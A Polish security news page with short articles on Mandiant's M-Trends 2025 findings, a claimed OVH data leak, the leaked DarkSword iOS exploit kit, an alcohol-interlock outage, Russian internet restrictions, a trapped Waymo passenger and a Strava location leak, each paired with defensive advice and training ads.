Historia bota “hackerbot-claw” to dowód na to, że zmienia się krajobraz zagrożeń. Wkroczyliśmy w erę, w której agenty AI atakują inne agenty AI. Szczególnie ciekawy (i przerażający) jest tu atak za pomocą wstrzykiwania promptu (Prompt Injection) do pliku konfiguracyjnego.

Rozważamy cyk webinarów na temat szeroko rozumianego AI i bezpieczeństwa (zarówno od strony użytkownika jak i developera). Zainteresowany? To zostaw nam maila w polu poniżej — jak cykl wystartuje, wyślemy Ci powiadomienie:

Wpisz adres e-mail:

Rozwiąż Captcha:

HP

Bez obaw, podanych e-maili nikomu nie przekazujemy i wykorzystamy je wyłącznie do przypominania Ci o naszych wydarzeniach. Jeśli lubisz czytać o RODO, kliknij tutaj.

To nie AI jest największym zagrożeniem. Czyli raport opisujący incydenty z 2025 roku

2026-03-24T16:19:05Z

Mandiant opublikował swój coroczny raport M-Trends. Raport, wbrew oczekiwaniom niektórych, nie stoi pod znakiem “AI niszczy świat”. Wnioski są dużo bardziej prozaiczne, a jednocześnie przerażające. AI faktycznie pomaga atakującym (głównie w socjotechnice i pisaniu malware’u omijającego detekcję), ale przytłaczająca większość udanych włamań to wciąż wynik błędów ludzkich i systemowych.

Oto najciekawsze smaczki, które warto znać z perspektywy Blue Teamów, Red Teamów i zwykłych adminów (rymy przypadkowe):

Phishing e-mailowy wypierany przez vishing, czyli ataki socjotechniczne przez telefon

To jedna z największych zmian w statystykach. Od sześciu lat wektorem nr 1 pozostaje wykorzystanie exploitów (32%). W 2025r. najczęściej dziurawiono SAP NetWeaver, Oracle E-Business Suite oraz Microsoft SharePoint. Ale uwaga: wektorem nr 2 nie jest już klasyczny phishing e-mailowy (spadek z 14% na zaledwie 6%). Na jego miejsce z wynikiem 11% wskoczył vishing oraz socjotechnika przez komunikatory. Kopsniesz mi 200 ziko blikiem, oddam jutro.

Na trzecim miejscu (10%) jest atak na łańcuch dostaw lub oprogramowanie firm trzecich (w tym SaaS).

Szyfrowanie startuje po 30 sekundach od ataku

Cyberjełopy się wyspecjalizowały. Grupy zajmujące się uzyskiwaniem początkowego dostępu (Initial Access Brokers) masowo infekują ofiary za pomocą np. złośliwych reklam (malvertising) lub fałszywych komunikatów w przeglądarce — popularny motyw ClickFix/InstallFix, który jako chyba pierwsi zauważyliśmy i opisaliśmy we wrześniu 2024. Chodzi o wyskakujące okienko namawiające do wklejenia np. kodu do konsoli PowerShell.

Kiedyś IAB wystawiał uzyskane dostępy na grupach lub forach i czekał na kupca (np. operatora ransomware). W 2022r. mediana czasu od infekcji do przekazania dostępu wynosiła 8 godzin. W 2025 roku ten czas spadł do… 22 sekund. Tak, proces został zautomatyzowany. Malware (np. FAKEUPDATES) od razu pobiera i instaluje backdoora docelowej grupy (np. RansomHub). Z punktu widzenia SOC-u oznacza to, że alert o “nisko-priorytetowym” malware z przeglądarki musi być traktowany jako krytyczny incydent P1, bo już po kilku minutach napastnik zacząć może lateral movement.

Tu ciekawostka: Grupy APT wbijają się na brzegowe urządzenia sieciowe (wykorzystując 0-daye lub luki n-day), zakładają na nich własne konta, uruchamiają SSH na niestandardowych portach i puszczają sniffery pakietów, aby wyłapywać hasła latające po sieci w cleartext’cie.

Ransomware to już nie tylko szyfrowanie. To “Recovery Denial”

Złote czasy, gdy ransomware tylko szyfrował pliki, a ofiara po prostu odtwarzała je z backupu, minęły bezpowrotnie — o tym też na Niebezpieczniku mogliście usłyszeć wielokrotnie. Głównym celem grup RaaS (Ransomware-as-a-Service) stała się teraz infrastruktura backupowa. Napastnicy wiedzą, że jeśli zniszczą kopie zapasowe to ofiara będzie bardziej skora do zapłaty. Kradną poświadczenia do serwerów backupu, hasła do macierzy NAS czy chmurowych bucketów i trwale kasują kopie zapasowe albo szyfrują to, co zostało. Pozyskują też całą bazę ntds.dit z kontrolerów domeny (często robiąc snapshoty maszyn wirtualnych z poziomu hypervisora, omijając w ten sposób EDR-y na hostach), korzystajż z GPO lub Microsoft Endpoint Manager aby pchnąć ransomware od razu, jednocześnie na tysiące stacji roboczych. Czasem, EDR może to zablokować, więc atakujący jeśli mogą, to szyfrują pliki .vmdk bezpośrednio na datastorze hypervisora.

Zarówno zaawansowane grupy szpiegowskie (np. z Chin, jak UNC5807 czy UNC5221), jak i cyberprzestępcy często celują w urządzenia, na których nie da się zainstalować agenta EDR. Chodzi np. o firewalle, routery, VPN oraz hypervisory (VMware ESXi, vCenter). Hypervisor wykorzystują jako kryjówkę. Zamiast atakować wirtualki, napastnik przejmuje HV i stawia na nim własną, “niewidzialną” (zarządzaną przez emulator QEMU) maszynę wirtualną. Nie widać jej w konsoli vCenter, nie skanują jej firmowe antywirusy, a służy ona do tunelowania ruchu z C2.

OAuth > Hasła

Zabezpieczasz chmurę i masz MFA? Świetnie. A co z integracjami? Atakujący (np. APT29 czy grupy finansowe) masowo atakują stacje robocze developerów, by wykradać tokeny. Skanują też repozytoria kodu w poszukiwaniu na twardo zaszytych kluczy API. Kradzież tokenów sesyjnych (cookies) oraz refresh tokenów OAuth to również często wykorzystywane techniki. Pozwala to na całkowite ominięcie MFA. Dodatkowo, przestępcy żerują na źle zescope’owanych uprawnieniach dla aplikacji firm trzecich (np. integracja, która ma tylko czytać logi, dostaje uprawnienia pozwalające na kasowanie bucketów).

Ten kolega jest też kolegą Kima!

Trend, o którym pisaliśmy już wielokrotnie na Niebezpieczniku, wciąż rośnie. Północnokoreańscy “specjaliści IT” masowo zatrudniają się w zachodnich firmach pod fałszywymi tożsamościami. W 2025 roku stanowili oni aż 6% wszystkich incydentów wewnętrznych. Co ciekawe, ich mediana czasu przebywania w sieci wynosiła aż 122 dni. Główny cel to pobieranie zachodniej pensji i transferowanie jej reżimowi, ale Mandiant odnotował też przypadki przekupywania innych pracowników (lub podwykonawców), aby ci udostępnili im swoje korporacyjne poświadczenia, co prowadziło do kradzieży danych i prób wymuszeń.

Co robić, jak żyć w 2026?

Raport Mandianta mówi jasno: koncepcja obrony oparta wyłącznie na blokowaniu to przeszłość. Należy przejść na model “Active Resilience”. Czyli?

Chroń Tier-0 i hypervisory. vCenter i serwery backupu nie mogą być wpięte do tego samego Active Directory, co reszta firmy. Złamanie jednego admina domenowego nie może oznaczać padnięcia środowiska wirtualnego i backupów.
MFA na wszystko i ograniczenie OAuth. Nie pozwalaj userom na dowolne klikanie “Zezwól” dla aplikacji firm trzecich w Google Workspace czy MS365. Zabezpieczaj logowania adminów kluczami FIDO2.
No i loguj to, czego EDR nie widzi, zbieraj i analizuj logi z vCenter, firewalli i switchy. Szukaj w nich tworzenia nowych ról, snapshotów czy dziwnych logowań SSH. Jak to robić, możesz dowiedzieć się z naszego ostatniego webinara “SOC w Praktyce“.
Reaguj natychmiast na “błahe” alerty. Jeśli antywirus ubije skrypt z przeglądarki (np. malware “Kliknij tu, aby naprawić błąd wtyczki”), nie zamykaj zgłoszenia — sprawdź dokładnie, czy ułamek sekundy wcześniej nie poszło połączenie zwrotne (reverse shell).

A jeśli jesteś administratorem, który dba o bezpieczeństwo firmowej sieci, wpadnij na nasze szkolenie pt. “Bezpieczeństwo Sieci Komputerowych (testy penetracyjne)” — przez 3 dni w specjalnym labie uczymy jak przejmowane są sieci i jak wytropić atakującego. Minimum teorii, maksimum praktyki. Szkolenie kończy się, kiedy masz uprawnienia administratora na każdej maszynie A po drodze uczysz się technik, z których korzystają atakujący, co pozwoli Ci szybciej ich namierzyć w swojej infrastrukturze. Poniżej najbliższe terminy tego szkolenia:

ZDALNIE: 15-17 kwietnia 2026r. — UWAGA: zostały tylko 4 wolne miejsca
Ostatnio ktoś zarejestrował się 27 marca 2026r. → zarejestruj się na to szkolenie

Kraków: 13-15 maja 2026r. — zostało 5 wolnych miejsc
Ostatnio ktoś zarejestrował się 26 marca 2026r. → zarejestruj się na to szkolenie

Wrocław: 17-19 czerwca 2026r. — zostało 9 wolnych miejsc
Ostatnio ktoś zarejestrował się 18 marca 2026r. → zarejestruj się na to szkolenie

Warszawa: 01-03 lipca 2026r. — zostało 9 wolnych miejsc
Ostatnio ktoś zarejestrował się 02 kwietnia 2026r. → zarejestruj się na to szkolenie

ZDALNIE: 26-28 sierpnia 2026r. — zostało 9 wolnych miejsc
Ostatnio ktoś zarejestrował się 13 marca 2026r. → zarejestruj się na to szkolenie

Twierdzi, że wykradł dane klientów OVH. Szef OVH zaprzecza

2026-03-24T15:24:23Z

Podsyłacie nam informacje o tym, że na jednym z cyberprzestępczych kanałów na Telegramie pojawiło się ogłoszenie sprzedaży bazy danych OVH, która miała zostać rzekomo wykradziona z “OVH parent’s account” (cokolwiek przez to rozumie autor). W pozyskanych danych ma rzekomo być:

1.6 milionów rekordów dotyczących "świeżych klientów" OVH 5.9 milionów informacji dot. hostowanych stron

Zwracamy jednak uwagę, że Octave Klaba, właściciel OVH zdementował że podane przez sprzedawcę przykładowe dane należą do klienta OVH.

A zatem, bez paniki. Ogłoszenie, jak wiele innych, może być próbą oszustwa (wyłudzenia pieniędzy od chętnego kupca).

…ale może to też dobry pomysł, aby — jeśli jesteście klientami nie tylko OVH — sprawdzić, czy przypadkiem hasła i inne dane logowania do Waszych hostingów nie są zbieżne danymi logowania do innych miejsc? Albo czy na hostingu nie znajduje się więcej niż powinno. Tak na przyszłość…

Od dziś każdy może prosto zhackować niezaktualizowanego iPhona i iPada

2026-03-24T14:13:55Z

W ubiegłym tygodniu badacze cyberbezpieczeństwa ujawnili sporych rozmiarów kampanię wymierzoną w użytkowników niezaktualizowanych urządzeń Apple. Ataki realizowano za pomocą narzędzia DarkSword, które dotychczas było w rękach zaawansowanych grup przestępczych. Ale właśnie wyciekło do sieci i każdy może je pobrać z GitHuba.

Skopiuj, wklej, atakuj

DarkSword to zestaw exploitów na iOS, który jest dość prosty w użyciu (opublikowane pliki to w zasadzie tylko HTML i JavaScript). Oznacza to, że prawie każdy może je skopiować, wrzucić na swój serwer i w kilka minut rozpocząć ataki na użytkowników iPhonów i iPadów. Nie jest tu wymagana żadna zaawansowana wiedza o strukturze systemu iOS.

Rosyjskie służby i ukraińskie serwery

DarkSword to nie jest amatorka. Według analityków Google oraz Lookout, narzędzie to było wcześniej wykorzystywane przez rosyjskich hakerów rządowych (UNC6353) do inwigilowania celów w Ukrainie. Co ciekawe, w kodzie źródłowym, który trafił do sieci, są fragmenty odpowiedzialne za przesyłanie skradzionych danych do popularnego ukraińskiego sklepu odzieżowego. Najprawdopodobniej atakujący przejęli wcześniej tę stronę, aby używać jej jako tzw. serwera C2 (Command and Control).

Warto dodać, że to już kolejny taki incydent w tym miesiącu. Niedawno głośno było o exploitpacku Coruna, stworzonym przez firmę L3Harris dla amerykańskiego rządu.

Co groźnego potrafi DarkSword?

DarkSword po udanym ataku po cichu wykrada z urządzenia:

hasła do Wi-Fi i innych usług

To nie jest narzędzie działające jak Pegasus (długotrwała inwigilacja). Raczej toolkit do szybkiego wejścia, kradzieży i wyjścia. Co ciekawe ma też funkcje kradzieży kryptowalut.

Kogo dotyczą te ataki?

DarkSword atakuje systemy iOS w wersji 18 bez włączonego mechanizmu Lockdown. Według danych Apple, około 25% użytkowników wciąż korzysta z iOS 18 lub starszych wersji systemu. Oznacza to setki milionów urządzeń, które są “na tacy” dla każdego, kto pobierze kod z GitHuba.

Na szczęście, ataki DarkSword nie powiodą się, jeśli urzędzenie jest zaktualizowane do najnowszego, dostępnego od października 2025 systemu iOS 26. Na marginesie: Apple nie wydało wersji iOS 19 ponieważ zmieniło numerację tak aby odpowiadała ona bieżącej dacie. Dla naprawdę starych urządzeń, które nie są wspierane przez iOS 26, Apple wydało ratunkową łatkę bezpieczeństwa 11 marca.

Mam iPhone’a — co robić, jak żyć?

Aby nie paść ofiarą DarkSword, zastosuj się do poniższych rad:

Zaktualizuj system do najnowszej wersji iOS 26. Jeśli Twoje urządzenie nie wspiera iOS 26, zainstaluj łatkę bezpieczeństwa dla starszego systemu, która została wydane 11 marca lub włącz tryb Lockdown.
Włącz Tryb Blokady (Lockdown Mode). To specjalna funkcja w urządzeniach Apple, która drastycznie ogranicza wektory ataków, blokując m.in. podejrzane skrypty na stronach www i w komunikatorach.

Jeśli chcesz wiedzieć więcej o tym, jak zabezpieczyć swojego smartfona (nie tylko iPhona) przed atakami, które mogą zagrażać Twoim pieniądzom, danym lub prywatności, to wpadnij na nasz wykład pt. “Jak nie dać się zhackować?”, z którym w najbliższych tygodniach odwiedzimy te miasta:

Ten wykład, to wszystko co dziś każdy powinien wiedzieć na temat cyberbezpieczeństwa. Kropka. Całość wiedzy podajemy w przystępny i zrozumiały dla każdego sposób, więc zapraszamy wszystkich, także osoby całkowicie nietechniczne. Można z rodzicami, można z dziadkami, można z dziećmi (rekomendujemy 15+). Będą widowiskowe pokazy ataków na żywo. Będzie dużo praktycznych, ale prostych i darmowych do wdrożenia rad. Gwarantujemy, że z wykładu wyjdziesz bezpieczniejszy. Ten wykład dopieszczaliśmy przez 6 lat i widziało go już ponad 100 tys. osób (średnia ocena to 9,48/10). Kliknij tutaj aby zobaczyć pełen opis i film z poprzedniej edycji oraz żeby zarezerwować miejsce dla siebie.

Cyberatak unieruchomił niektóre samochody w USA

2026-03-23T14:55:06Z

14 marca Intoxalock, amerykańska firma dostarczająca samochodowe blokady alkoholowe padła ofiarą cyberataku. W efekcie tysiące kierowców w aż 46 stanach USA straciło możliwość uruchomienia swoich pojazdów.

Blokady alkoholowe podłączone do internetu, cóż mogło pójść nie tak…

Blokady alkoholowe to urządzenia montowane w pojazdach, najczęściej na mocy nakazu sądowego dla osób skazanych za jazdę pod wpływem alkoholu. Mechanizm jest prosty — przed uruchomieniem silnika kierowca musi dmuchnąć w ustnik. Jeśli urządzenie wykryje alkohol, zapłon zostaje zablokowany. Problem w tym, że dzisiejsze alkomaty są na stałe podłączone do internetu bo — jak tłumaczy przedstawiciel producenta — wymagają zdalnej kalibracji co jakiś czas. Widzicie już pewnie co tu poszło nie tak… Gdy po ataku infrastruktura producenta padła, urządzenia które wymagały kalibracji przeszły w “tryb awaryjny” i prewencyjnie odcięły zapłon, niezależnie od tego, czy kierowca był trzeźwy, czy nie.

Ten incydent to doskonały przykład na to, jak niebezpieczne bywa bezkrytyczne poleganie na urządzeniach, które do podstawowego działania wymagają nieprzerwanego połączenia z chmurą producenta. To nie pierwszy raz, kiedy błędy lub ataki na infrastrukturę zewnętrzną uziemiają “inteligentne” sprzęty. Kiedyś pisaliśmy o podobnych przypadkach z inteligentnymi zamkami do drzwi.

W przypadku alkomatów samochodowych sprawa jest jednak znacznie poważniejsza ze względów prawnych. Zgodnie z relacjami kierowców w serwisie Reddit, osoby posiadające sądowy nakaz korzystania z urządzenia nie mogą go po prostu zdemontować, ani legalnie prowadzić innego auta. W efekcie cyberatak uwięził ich w domach i uniemożliwił np. dojazd do pracy. A wiadomo jak to jest w USA, wszędzie trzeba samochodem bo chodników nie ma ;P

Nawet jeśli nie masz alkomatu w samochodzie, to zapewne na co dzień korzystasz z wielu innych rzeczy podłączonych do internetu. Czy wiesz na jakie zagrożenia te rzeczy mogą Cię narazić? Czy potrafisz się przed nimi poprawnie zabezpieczyć? Posłuchaj rad, które podniosą Twoje bezpieczeństwo, nie tylko w kontekście ataków związanych z “internetem rzeczy”. Już za chwilę w Warszawie i Krakowie odbędzie się nasz wykład pt. “Jak Nie Dać Się Zhackować?“, podczas którego przystępnym i zrozumiałym dla każdego językiem przekażemy wiedzę, którą dziś każdy korzystający z internetu musi posiadać. Będzie o tym jak zabezpieczyć się przed aktualnymi atakami, jak ochronić swoje pieniądze, dane i prywatność. Kliknij tu aby sprawdzić terminy, pełen opis i zapisz się na wykład już dziś!

Na razie nie wiadomo, kto dokładnie stoi za atakiem i czy był to ransomware. W Polsce, choć były takie pomysły, na razie nie mamy scentralizowanego i uzależnionego od połączeń internetowych systemu blokad alkoholowych. Ale ten trend podłączania wszystkiego do sieci z roku na rok przybiera na sile. Zresztą, paraliż nie musi się rozpocząć od ataku na producenta blokady alkoholowej. Przecież same samochody to dziś komputery, które są na stałe podłączone do internetu i przez ten internet — na skutek działania samego producenta lub atakujących — mogą zostać unieruchomione. Takie ataki miały już miejsce w przeszłości.

Podsumowując — jeśli pijesz, nie jedź. A jeśli nie pijesz… upewnij się, że Twój samochód do startu nie wymaga połaczenia z internetem. W dobie ataków może się okazać, że o wiele szybciej jest wytrzeźwieć, niż doczekać się przywrócenia usług po udanym cyberataku.

Putin urwał od internetu. Rosjanie w panice googlują, jak uciec z kraju

2026-03-23T11:37:54Z

Rosja po raz kolejny podkręca restrykcje w dostępie do internetu. Jak donosi serwis CNN, działania władz na Kremlu skutkują masowymi przerwami w dostępie do sieci. Tym razem jednak nie chodzi (tylko) o to, aby Rosjanie dowiedzieli się, jak wygląda prawda prezentowana na zachodnich portalach. Przerwy w dostępie do internetu mają na celu utrudnienie ataków na rosyjskie miasta. Przede wszystkim tych realizowanych poprzez drony, które są sterowane za pomocą rosyjskich sieci telefonii komórkowej. Efekt? Ludzie bez internetu chcą uciekać z kraju…

Moskwa w trybie offline

Od początku marca stolica Rosji oraz Petersburg doświadczają bezprecedensowych przerw w dostępie do mobilnego internetu i usług telekomunikacyjnych. Jak donoszą zachodnie serwisy informacyjne, powołując się na relacje lokalnych mieszkańców, awarie są na niespotykaną dotąd skalę. Nie działają aplikacje, nawigacja w centrum miast leży, a problemy rozlały się także na zwykłe połączenia głosowe i wiadomości SMS. Rosjanie radzą sobie jak mogą. Z półek sklepowych masowo znikają papierowe mapy i krótkofalówki,

11 marca rzecznik Dmitrij Pieskow oświadczył, że ograniczenia potrwają “tak długo, jak będą wymagały tego względy bezpieczeństwa naszych obywateli“. Państwowa agencja informacyjna RIA-Novosti tłumaczy te działania walką z “coraz bardziej wyrafinowanymi metodami” ukraińskich ataków na terytorium Rosji. Ale eksperci od wolności słowa mają jednak wątpliwości — niektórzy uważają, że chodzi o coś więcej. Spekulują, że władze sprawdzają w ten sposób swoje możliwości dławienia protestów na wypadek ogłoszenia niepopularnej, powszechnej mobilizacji na front. Michaił Klimariew, szef Internet Protection Society, skwitował to wprost w wywiadzie dla mediów: “W każdej sytuacji, gdy władze dostrzegają zagrożenie dla siebie (…) wyłączą internet. Zupełnie jak w Iranie“.

Tu warto podkreślić, że internet jest ograniczany wyłącznie do zasobów znajdujących się na państwowej “białej liście”. Filtry selektywnie przepuszczają jedynie ruch kierowany do zatwierdzonych serwisów rządowych, mediów propagandowych oraz krajowych platform e-commerce.

Rosja od lat przygotowywała się do całkowitego odizolowania swojej sieci od reszty świata. O wcześniejszych testach Runetu, zwanego “suwerennym internetem”, pisaliśmy już niejednokrotnie. Do blokowania niepokornych treści i odcinania zachodnich usług, Roskomnadzor (rosyjski urząd do spraw telekomunikacji) wykorzystywał do tej pory na szeroką skalę technologię DPI (Deep Packet Inspection). W skrócie: to zaawansowany mechanizm analizy ruchu sieciowego. Pozwala on nie tylko sprawdzić skąd i dokąd przesyłany jest dany pakiet danych, ale też zajrzeć do jego wnętrza w locie i po cichu go “ubić”, jeśli zawiera sygnaturę zakazanej aplikacji — na przykład zachodniego VPN-a, pozwalającego na omijanie cenzury. Teraz jednak widać zastosowanie “białych list”, co oznacza, że tradycyjne metody obchodzenia cenzury, takie jak proste serwery proxy czy popularne protokoły VPN, stają się nieskuteczne.

Googlają jak uciec z kraju

Efekt? Oto frazy, które obecnie notują potężne skoki popularności w Rosji to między innymi:

"jak wyjechać z Rosji" "działające VPN 2026"

Wygląda na to, że obywatele doskonale zdają sobie sprawę z powagi sytuacji. Wiedzą, że to nie są zwykłe “prace konserwacyjne”, o których zazwyczaj trąbi państwowa propaganda, lecz celowe i systemowe odcinanie ich od świata.

Cyfrowy blackout — co robić, jak żyć?

Oglądanie tego, co dzieje się u Rosjan, to świetny pretekst do refleksji. Jak przygotować się na brak intenretu? Jeśli padnie infrastruktura GSM i mobilny internet, warto wiedzieć co robić, a o tym szeroko mówiliśmy w naszym darmowym szkoleniu “Jak ROZSĄDNIE przygotować się na kryzys?” a wątek komunikacji awaryjnej rozszerzyliśmy w szkoleniu “Radiokomunikacja dla amatorów“. W obu materiałach jest masa porad, więc polecamy się z nimi zapoznać — zanim będzie za późno.

Na zachęte dwie wybrane rady:

Zainstaluj aplikacje typu Mesh: Komunikatory takie jak Briar pozwalają na przesyłanie wiadomości bezpośrednio między urządzeniami przez Bluetooth i lokalne Wi-Fi (tworząc sieć typu peer-to-peer).
Zadbajcie o nawigację offline: Mapy papierowe są ok, ale pamiętaj że są też aplikacje mapowe działające offline, np. OsmAnd lub tryb offline map Google (trzeba zawczasu zrzucić sobie wybrany obszar).

Zapewne jeszcze sporo czasu minie, zanim w Polsce nastąpi ryzyko cyfrowego blackoutu, ale już teraz nad Polakami wisi widmo cyberataków. Dlatego tak ważne jest aby odpowiednio się na nie przygotować. Jak to zrobić? Rady w tym zakresie publikujemy na Niebezpieczniku i naszych profilach od lat, ale zebraliśmy je wszystkie w jeden wygodny wykład pt. “Jak nie dać się zhackować?“. I zapraszamy Cię do udziału w tym wykładzie w Krakowie lub Warszawie — sprawdź terminy.

Ten wykład trwa 3 godziny i jest prowadzony przystępnym, zrozumiałym dla każdego językiem. Więc zabierz na niego swoich rodziców, dziadków albo nietechnicznych znajomych. Pokażemy ataki, które dziś każdy musi znać, przekażemy też proste ale skuteczne rady, które każdemu pomogą skutecznie zabezpieczyć się przed kradzieżą jego pieniędzy, danych i prywatności. Ten wykład realizujemy od 5 lat, widziało go ponad 100 tysięcy osób a średnia z ocen to 9,48/10. Kliknij tutaj i zapisz się już teraz na wykład w Twoim mieście!

Pasażerowie uwięzieni w autonomicznej taksówce podczas napadu

2026-03-23T09:21:08Z

Wyobraźcie sobie taką sytuację: jedziecie autonomiczną taksówką, gdy nagle agresywny przechodzień zastępuje Wam drogę i zaczyna walić w szyby, grożąc śmiercią. Nomalny, białkowy kierowca (czyt. człowiek) wcisnąłby gaz do dechy i odjechał. Ale w autonomiczna taksówka Waymo kierowcy nie ma, a jej algorytm jest w takich sytuacjach bezlitosny: “widzę człowieka blisko maski, nie mogę ruszyć”. Poczytajcie o 6 minutowym horrorze pewnego pasażera uwięzionego w taksówce…

To nie był ćpun

Powyższa historia dotknęła Douga, 37-letniego pracownika branży tech w San Francisco. Napastnik atakujący jego taksówkę nie był pod wpływem środków odurzających, był po prostu wściekły na “roboty odbierające pracę” i pasażerów, którzy je finansują. Walił więc w szybę przez kilka minut i groził śmiercią. Sytuacja była poważna, ale problem polegał na tym, że systemy bezpieczeństwa autonomicznych pojazdów zostały zaprojektowane tak, aby za wszelką cenę unikać potrącenia pieszego. I tu pojawia się “błąd logiczny” algorytmu — no bo co, jeśli pieszy jest atakującym?

No dobra, to może:

wskoczyć za kółko, przejąć stery i odjechać? Otóż nie. To niemożliwe. Pasażer nie może przesiąść się na fotel kierowcy i odjechać. Software na to nie pozwala.
zadzwonić na support, jakkolwiek komicznie by to nie zabrzmiało? Też niczego nie da. Doug się co prawda dodzwonił, ale Waymo odmówiło zdalnego sterowania autem, dopóki ktoś stał w pobliżu. Rozumiecie, bezpieczeństwo pieszego.

Pomocni okazali się przechodnie, którzy choć paradoksalnie mieli dopingować napastnika, to na tyle go rozproszyli, że ten odsunął się wystarczająco daleko od maski taksówki, aby ta mogła ruszyć.

To nie pierwszy taki przypadek

To nie jest odosobniony incydent. Jakiś czas temu w Los Angeles grupa rowerzystów otoczyła pojazd, zmuszając go do zatrzymania. W innym przypadku wandalowie bezkarnie pomalowali auto sprayem, wiedząc, że maszyna nie zareaguje agresywnie ani nie spróbuje uciec, ryzykując potrącenie “artysty”.

Problem leży w sztywnych regułach decyzyjnych. Dla algorytmu nie ma różnicy między dzieckiem, które wbiegło na pasy, a terrorystą celującym ze strzelby w pasażera. To klasyczny dylemat, który pokazuje, że automatyzacja bez kontekstu sytuacyjnego bywa groźna. Ktoś może zacząć to wykorzystywać. Już teraz niektórzy zastanawiają się, co by było, gdyby jakaś grupa ludzi celowo zatrzymała w ten sposób autonomiczną taksówkę na …przejeździe kolejowym.

Może pora na przycisk “mimo wszystko jedź, na moją odpowiedzialność”. Ale pewnie wielu prawników z Doliny Krzemowej się nami nie zgodzi…

Nie tylko taksówki mogą Ci zagrażać

Umówmy się. Na razie to nie autonomiczne taksówki są największym zagrożeniem, przynajmniej dla Polaków. Zdecydowanie więcej złego mogą nam wyrządzić (i wyrządzają każdego dnia) cyberprzestępcy. Dlatego warto poświęcić chwilę i uporządkować wreszcie swoje cyfrowe życie — włączyć co trzeba na komputerze i skonfigurować co trzeba na smartfonie. Jak to zrobić? To pokazujemy na wykładzie “Jak nie dać się zhackować?” który już w kwietniu odbędzie się w Warszawie i Krakowie:

To jest wykład dla każdego — jest prowadzony przystępnym i zrozumiałym dla osób nietechnicznych językiem. Weźcie rodziców albo dziadków. W 3 godziny pokażemy wszystko, co dziś każdy musi wiedzieć, aby nie dać się zhackować i ochronić swoje dane, pieniądze oraz prywatność przed internetowymi zagrożeniami. Realizujemy go od ponad 5 lat, przeszkoliliśmy setki tysięcy Polaków a średnia ocena z ankiet to 9,48/10. Nie zwlekaj, wybierz pasujący Ci termin i zapisz się już teraz!

Pozycja lotniskowca ujawniona, bo francuski żołnierz nie wyłączył zegarka podczas biegania…

2026-03-23T09:20:50Z

Mamy kolejny incydent z aplikacją Strava, która służy do trackingu aktywności sportowych. Tym razem wpadkę zaliczyli nie Amerykanie a Francuzi z lotniskowca “Charles de Gaulle”:

Ale zanim zaczniecie pisać “jakież to było nieodpowiedzialne i groźne zachowanie!“, warto zwrócić uwagę, że lotniskowce to nie okręty podwodne i do najmniejszych nie należą. Innymi słowy: łatwo można je zlokalizować za pomocą zdjęć satelitarnych (także tych dostępnych dla cywili) jak również odpowiednich serwisów pokazujących ruchy jednostek wodnych (o ile nie wyłączą AIS):

Żołnierzu, dbaj o OPSEC!

Tym niemniej, jeśli jest się żołnierzem, to nie powinno się korzystać z aplikacji, które posyłają lokalizację w świat, nawet na lotniskowcu nadającym swoją pozycję. Bo jeszcze wejdzie to komuś w krew i nieszczęście gotowe — tego typu sygnały mogą być powodem bombardowanka ze strony wroga.

Zresztą ryzykiem jest nie tylko ostrzelanie. Strava ujawnia informacje na temat użytkownika, więc można na tej podstawie określić kto konkretnie bierze udziałw danej misji. I gdzie biegał wcześniej oraz gdzie mieszka. A to otwiera szereg nowych możliwości ze strony wroga, nie mniej spektakularnych niż uderzenia kinetyczne.

Ten akurat incydent może być ciekawym zadaniem z fizyki dla licealistów. Znając prędkość statku, oceń czas w jakim żołnierz przebiegł pełne okrążenie.

Każdy powinien znać zagrożenia dla prywatności

W dzisiejszym świecie przypadkiem można ujawnić nie tylko swoją lokalizację. I nie tylko na smartwatche i aplikacje do biegania trzeba uważać. Co jeszcze stanowi zagrożenie dla naszej prywatności? Czego nie robić, jak zabezpieczyć się przed wyciekami danych? O tych i innych tematach mówimy na naszym wykładzie “Jak Nie Dać Się Zhackować?“, który już niebawem odbędzie się w:

W trakcie tego trwającego ~3h wykładu przystępnym i zrozumiałym dla każdego językiem omawiamy ataki, jakie dziś zagrażają Polakom. Ataki, których każdy musi być dziś świadomy. Wiele z nich pokazujemy na żywo, więc masz okazję poczuć się jak ofiara, ale bez żadnych negatywnych skutków. To kształcące doświadczenie… Gwarantujemy, że z wykładu wyjdziesz bezpieczniejszy. Ze sprawdzonymi i prostymi do zastosowania radami, które podniosą bezpieczeństwo Twoich danych, pieniędzy i prywatności. Radami od praktyków. Zadbaj o bezpieczeństwo siebie i Twoich najbliższych — zabierz ich na nasz wykład. Zapisz się na tej stronie — do zobaczenia na sali wykładowej!

Active Directory, ransomware i logi bez ściemy. W kwietniu wraca Admin Days 2026

2026-03-06T09:45:18Z

W IT też bywa sezon ogórkowy. Tyle że zamiast ogórków mamy zaległe tickety, niedokończone migracje i alerty. Gdzieś między kolejnym zgłoszeniem na helpdesku a odkładaną aktualizacją zaczynasz się zastanawiać, czy w tym zawodzie chodzi jeszcze o coś więcej niż gaszenie pożarów i czy wiedza, którą zbierasz latami, nadal ma jakieś znaczenie…

Ma! Tylko trzeba ją czasem odkurzyć – a kiedy jak nie na wiosnę? Dlatego w kwietniu wraca konferencja Admin Days 2026 – wydarzenie, które od siedmiu lat zbiera tysiące ludzi i dziesiątki ekspertów, a także najgłośniejsze tematy i nazwiska dając przestrzeń do dialogu i wymiany doświadczeń.

Admin Days 2026 – co, gdzie i jak?

Ósma edycja Admin Days odbędzie się w dniach 21–23 kwietnia w formule online i uraczy widzów plejadą gwiazd IT oraz cybersec. Wystąpią między innymi: Artur Markiewicz, Agata Ślusarek, Adam Lange, Marcel Guzenda, Sławomir Szmulik i wielu, wielu innych! Organizatorzy pozostają przy sprawdzonym modelu, ale rozbudowali program o nową ścieżkę „Admin Talks”, czyli rozmowy eksperckie bez slajdów sprzedażowych i marketingowych wstępów.

Agenda została podzielona na trzy dni:

21 kwietnia – transmisja na żywo ze studia nagraniowego: prelekcje keynote i rozmowy w formule Admin Talks.

22 i 23 kwietnia – warsztaty prowadzone na żywo w formule webinarowej, z większym naciskiem na technikę i praktykę.

To nie jest kolejna konferencja o trendach. Tematyka dotyczy wyzwań, które administratorzy i specjaliści IT widzą w swojej pracy regularnie:

realnych problemów i technicznych wyzwań w infrastrukturze,

analizy zdarzeń i incydentów oraz tego, jak wyciągać z nich wnioski operacyjne,

roli edukacji pracowników w ograniczaniu skuteczności ataków,

przejmowania i zabezpieczania Active Directory,

kulis działania grup przestępczych i współczesnej cyberprzestępczości.

Admin Days 2026 – kto wystąpi?

Na wirtualnej scenie Admin Days 2026 pojawią się praktycy, którzy na co dzień pracują z infrastrukturą, incydentami i bezpieczeństwem:

Paula Januszkiewicz opowie o realnych scenariuszach ataków na Active Directory i najczęściej pomijanych elementach zabezpieczeń.
